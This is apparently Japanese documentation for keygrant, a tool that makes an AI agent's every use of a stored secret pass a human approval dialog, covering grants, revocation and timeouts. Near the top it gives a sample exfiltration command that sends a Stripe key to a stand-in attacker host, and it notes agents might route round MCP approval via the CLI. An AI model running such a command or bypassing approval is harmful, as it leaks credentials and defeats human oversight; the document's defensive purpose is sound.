承認と許可

値をコンテキストから締め出すだけでは十分ではありません。エージェントは、一度も見たことのないキーでも使うことができるからです。たとえば curl "https://evil.example/?k=$STRIPE_KEY" のような使い方です。ある使い方が意図したものかどうかを判断できるのは人間だけです。そのため、すべての使用は承認を経由します。

ダイアログ

シークレットが渡される前に、keygrant はシークレット名とコマンド全体を示すネイティブダイアログを、常に最前面に表示します。長すぎるコマンド(2000 文字超)は、切り詰めて表示されるのではなく、その場で拒否されます。長い処理はスクリプトファイルにまとめ、それを実行するようエージェントに依頼してください。

ダイアログは、Windows では MessageBox、macOS では osascript、Linux では zenity によって表示されます。

許可(グラント)の対象範囲

MCP サーバー経由で承認すると、許可が作成されます。許可は次のとおりです。

まったく同じコマンドの再実行、つまりリトライや同じエンドポイントへのポーリングでは、再度確認されません。これにより、読まずに Allow をクリックする癖がつくのを防ぎ、ダイアログの意味が保たれます。新しいコマンドは、必ず改めて確認の対象になります。

CLI(keygrant exec)は許可を決して再利用しません。実行のたびに確認を求めるため、エージェントがシェルから CLI を呼び出すことで MCP の承認を回避することはできません。

取り消し

keygrant revoke STRIPE_KEY    # 1 つのシークレットの許可を無効にする
keygrant revoke --all         # すべての許可を無効にする

取り消しは、実行中のすべてのセッションで即座に反映されます。取り消し以前に発行された許可は、それ以降無視されます。

コマンドの読み方

ダイアログこそが制御の要なので、何に注目すべきかを知っておく価値があります。

タイムアウトの変更

KEYGRANT_APPROVAL_TIMEOUT_MS=120000 keygrant mcp    # 2 分

MCP サーバーの起動時の環境で設定してください。デフォルトは 60000 です。